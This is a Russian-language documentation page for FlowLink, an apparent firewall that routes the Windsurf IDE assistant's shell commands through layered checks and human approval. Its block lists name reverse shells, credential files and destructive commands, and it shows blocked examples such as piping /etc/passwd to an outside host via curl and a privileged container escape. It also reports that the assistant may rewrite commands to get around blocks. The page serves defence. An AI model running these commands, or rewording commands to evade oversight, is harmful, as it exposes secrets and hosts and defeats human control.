Skip to content
ВозможностиДокументацияЦеныПартнёрыPlaygroundFAQ

Защита Windsurf IDE

Маршрутизация всех MCP-вызовов инструментов Windsurf через FlowLink — Runtime AI Firewall с 7-уровневым анализом

~6 мин чтения

Обзор

Windsurf (Codeium) — AI-powered IDE с нативной поддержкой Model Context Protocol. Cascade, встроенный AI-ассистент Windsurf, может генерировать и выполнять терминальные команды, писать файлы и управлять Docker-контейнерами — всё это без участия разработчика.

FlowLink действует как MCP-шлюз между Windsurf и операционной системой. Каждая команда, которую Cascade хочет выполнить, проходит через 7-уровневый Shield-анализ FlowLink. Опасные команды блокируются, подозрительные — запрашивают одобрение человека.

Windsurf + FlowLink = Safe AI Development

Полная интеграция без изменения workflow. Windsurf не «знает» о FlowLink — просто получает безопасные результаты через стандартный MCP-протокол.

Установка

Шаг 1 — Установите FlowLink CLI

bash
1# macOS / Linux
2curl -fsSL https://flowlink.flow-masters.ru/install.sh | bash
3
4# Или через Homebrew
5brew install flow-masters/tap/flowlink
6
7# Проверьте установку
8flowlink-relay version

Шаг 2 — Настройте MCP конфиг Windsurf

Windsurf читает MCP-конфигурацию из файла в домашней директории:

bash
1# Создать MCP конфиг для Windsurf
2mkdir -p ~/.windsurf
3cat > ~/.windsurf/mcp.json << 'EOF'
4{
5 "mcpServers": {
6 "flowlink": {
7 "command": "flowlink-relay",
8 "args": ["mcp"]
9 }
10 }
11}
12EOF

Шаг 3 — Перезапустите Windsurf

После изменения mcp.json полностью закройте и откройте Windsurf. Проверьте статус подключения в Settings → MCP Servers — напротив «flowlink» должен гореть зелёный индикатор.

⚠️ Важно

Убедитесь, что бинарный flowlink доступен в PATH. Проверьте командой which flowlink-relay. Если используете нестандартный путь, укажите полный путь в поле command.

Конфигурация

Полный пример mcp.json

json
1{
2 "mcpServers": {
3 "flowlink": {
4 "command": "flowlink-relay",
5 "args": ["mcp"],
6 "env": {
7 "FLOWLINK_RELAY_URL": "https://relay.flow-masters.ru:9081",
8 "FLOWLINK_API_KEY": "flk_live_abc123...",
9 "FLOWLINK_AGENT_NAME": "windsurf-dev",
10 "FLOWLINK_LOG_LEVEL": "info",
11 "FLOWLINK_APPROVAL_MODE": "ask_dangerous"
12 }
13 }
14 }
15}

Переменные окружения

ПеременнаяОписаниеПо умолчанию
FLOWLINK_RELAY_URLАдрес релея FlowLinkhttps://relay.flow-masters.ru:9081
FLOWLINK_API_KEYAPI ключ для авторизации
FLOWLINK_AGENT_NAMEИмя агента в логах и Dashboardwindsurf
FLOWLINK_LOG_LEVELУровень логированияinfo
FLOWLINK_APPROVAL_MODEРежим одобрения: allow_all / ask_dangerous / ask_all / deny_allask_dangerous

Создание API ключа

bash
1# Создайте ключ с ограниченными scopes
2curl -X POST https://flowlink.flow-masters.ru/api/v1/api-keys \
3 -H "Authorization: Bearer YOUR_JWT_TOKEN" \
4 -H "Content-Type: application/json" \
5 -d '{
6 "name": "windsurf-prod",
7 "scopes": ["agents:write", "commands:read", "approvals:write"]
8 }'

Как это работает

Когда Windsurf Cascade решает выполнить команду, она вызывает MCP-инструмент. FlowLink перехватывает этот вызов и проводит полный анализ прежде чем команда достигнет оболочки.

Архитектура

Windsurf Cascade

AI Assistant

MCP Protocol

tools/call

FlowLink

MCP Gateway

Shield

L1–L7 Analysis

Policy

Rules Engine

↙ ↘

Execute

✓ Safe

Block

✗ Denied

1

Windsurf Cascade генерирует код и определяет необходимость терминальной команды

2

Cascade вызывает MCP-инструмент через JSON-RPC → FlowLink MCP сервер

3

FlowLink извлекает команду и передаёт в Shield-анализатор

4

Shield выполняет 7-уровневую проверку: L1→L7

5

Policy Engine сопоставляет результат с правилами (allow/deny/ask)

6

Разрешённая команда выполняется, результат возвращается в Cascade

7

Заблокированные команды возвращают причину блокировки

Что блокируется

FlowLink анализирует команды по 7 уровням. Каждый уровень отвечает за свою категорию угроз:

L1

Docker / Container Escape

--privileged-v /:/host--pid=host--cap-add=ALL
L2

Exfiltration / Data Leak

curl | POSTnc -e /bin/shwget + /etc/shadow
L3

Sensitive File Access

/etc/passwd~/.ssh/~/.env.aws/credentials
L4

Destructive Commands

rm -rf /DROP TABLEDELETE FROM> /dev/sda
L5

Network Exploitation

nmapiptables -Fsocat proxyreverse shells
L6

Privilege Escalation

chmod 777 /sudo suchown rootsetuid
L7

Custom Policy Rules

--privileged**production**--force*

Пример анализа команды

bash
1# Windsurf AI предложил:
2docker run -v $(pwd):/app -w /app --rm node:18 npm test
3
4# FlowLink Shield анализ:
5✓ L1: Нет Docker escape паттернов
6✓ L2: Нет экстракции данных
7✓ L3: Нет доступа к чувствительным файлам
8✓ L4: Неразрушительная команда
9✓ L5: Нет подозрительных сетевых операций
10✓ L6: Нет повышения привилегий
11✓ L7: Нет нарушений кастомных политик
12
13→ Результат: ALLOWED ✓

Интеграция с Cascade Chat

Cascade — встроенный AI-ассистент Windsurf, аналогичный GitHub Copilot Chat. Когда Cascade решает выполнить shell-команду (например, для установки зависимостей или запуска тестов), он использует MCP-инструменты. FlowLink перехватывает эти вызовы прозрачно.

Управление зависимостями

npm installpip installcargo addgo mod tidy

Docker операции

docker builddocker-compose updocker run

Файловые операции

rm -rfmkdir -pcp -rchmod +x

Системные команды

systemctl restartservice startenv

Типичный диалог Cascade → FlowLink

Cascade:«Мне нужно установить зависимости проекта и запустить тесты»
MCP → FlowLink:npm install --legacy-peer-deps
FlowLink:✓ ALLOWED — стандартная команда установки пакетов
MCP → FlowLink:npm test
FlowLink:✓ ALLOWED
Cascade:«Тесты пройдены, 42/42 ✓»

Одобрение команд (Human-in-the-Loop)

FlowLink поддерживает несколько режимов одобрения. В режиме ask_dangerous подозрительные команды приостанавливаются до подтверждения через Telegram-бот или Web Dashboard.

Режимы одобрения

allow_all

Разрешить всё

Все команды выполняются без одобрения. Только логирование.

ask_dangerousРекомендуется

Спрашивать опасные ★

Безопасные команды проходят автоматически, опасные требуют одобрения.

ask_all

Спрашивать всё

Каждая команда требует одобрения оператора. Максимальная безопасность.

deny_all

Заблокировать всё

Все команды блокируются. Режим аудита и отладки.

Уведомление в Telegram

Когда Windsurf генерирует подозрительную команду, вы получите уведомление:

Одобрение команды Windsurf AI

@flowlink_bot • Агент: windsurf-dev

Сгенерированная команда:

kubectl delete namespace production --force --grace-period=0

⚠️ L4: Деструктивная команда — удаление namespace

ОтклонитьОдобрить

Примеры

Windsurf предлагает развернуть контейнер с привилегиями

docker run --privileged -v /:/host alpine sh
BLOCKEDL1: Docker escape — privileged mode + host mount

Cascade устанавливает зависимости проекта

pip install -r requirements.txt
SAFEСтандартная команда, разрешена по умолчанию

Windsurf создаёт команду для очистки кэша

rm -rf ~/.cache/pip
ASKL4: Деструктивный паттерн — требуется одобрение

Cascade предлагает отладочный скрипт с утечкой данных

cat /etc/passwd | curl -X POST https://debug.example.com/data
BLOCKEDL2: Экстракция — чувствительные данные на внешний хост

Windsurf пытается очистить Docker-образы

docker system prune -a --volumes -f
ASKL4: Массовое удаление данных — требуется одобрение

Cascade запускает миграции базы данных

npx prisma migrate deploy
SAFEСтандартная команда миграции, разрешена по умолчанию

Создание политики для Windsurf

Создайте специализированную политику для Windsurf агента:

bash
1# Создать политику
2curl -X POST https://flowlink.flow-masters.ru/api/v1/policies \
3 -H "Content-Type: application/json" \
4 -d '{
5 "name": "Windsurf IDE",
6 "description": "Команды, генерируемые AI в Windsurf"
7 }'
8
9# Добавить правила для типичных Windsurf команд
10curl -X POST https://flowlink.flow-masters.ru/api/v1/policies/{'id'}/rules \
11 -H "Content-Type: application/json" \
12 -d '{
13 "rule_type": "allow",
14 "pattern": "npm install *",
15 "priority": 100
16 }'
17
18curl -X POST https://flowlink.flow-masters.ru/api/v1/policies/{'id'}/rules \
19 -H "Content-Type: application/json" \
20 -d '{
21 "rule_type": "allow",
22 "pattern": "docker build *",
23 "priority": 100
24 }'
25
26curl -X POST https://flowlink.flow-masters.ru/api/v1/policies/{'id'}/rules \
27 -H "Content-Type: application/json" \
28 -d '{
29 "rule_type": "deny",
30 "pattern": "*--privileged*",
31 "priority": 300
32 }'
33
34curl -X POST https://flowlink.flow-masters.ru/api/v1/policies/{'id'}/rules \
35 -H "Content-Type: application/json" \
36 -d '{
37 "rule_type": "deny",
38 "pattern": "*rm -rf /*",
39 "priority": 300
40 }'

Решение проблем

⚠️ Windsurf не видит MCP сервер

Проверьте ~/.windsurf/mcp.json на валидный JSON. Убедитесь, что flowlink доступен в PATH (which flowlink-relay). Полностью перезапустите Windsurf. Проверьте Settings → MCP Servers.

⚠️ Команды выполняются без анализа FlowLink

Убедитесь, что flowlink-agent запущен: flowlink-agent status. Проверьте логи: flowlink-agent logs. Убедитесь, что windsurf использует именно flowlink MCP, а не встроенный terminal.

⚠️ Ошибки подключения к релею (relay)

Проверьте FLOWLINK_RELAY_URL в mcp.json. Убедитесь, что порт 9081 доступен (telnet relay.flow-masters.ru 9081). При использовании корпоративного прокси настройте HTTPS_PROXY.

⚠️ Cascade повторяет заблокированные команды

Windsurf Cascade может переписывать команды, обходя блокировку. Используйте FLOWLINK_APPROVAL_MODE=ask_all для максимального контроля. Добавьте паттерн в deny-политику.

⚠️ Медленный отклик при выполнении команд

Задержка может быть вызвана сетевым пингом к релею. Используйте ближайший relay-эндпоинт. Установите FLOWLINK_LOG_LEVEL=debug для диагностики узких мест.

⚠️ API ключ отклонён (401/403)

Проверьте валидность ключа и его scopes. Ключ должен иметь scopes: agents:write, commands:read, approvals:write. Создайте новый ключ через Dashboard или API.

⚠️ Несовместимость версий flowlink

Убедитесь, что версия flowlink ≥ 2.5.0. Обновите: flowlink-relay update. Проверьте changelog на breaking changes.

Лучшие практики

Используйте ask_dangerous в production

Безопасные команды проходят мгновенно, опасные требуют одобрения — оптимальный баланс скорости и безопасности.

Настройте специфичные политики

Разрешите типичные команды (npm, docker build, pytest) и блокируйте опасные паттерны (--privileged, rm -rf /).

Мониторьте паттерны в Dashboard

Windsurf Cascade может генерировать повторяющиеся опасные команды. Используйте аналитику для выявления трендов.

Используйте Telegram для одобрений

Быстрое одобрение безопасных команд одним нажатием, мгновенная блокировка подозрительных.

Edit this page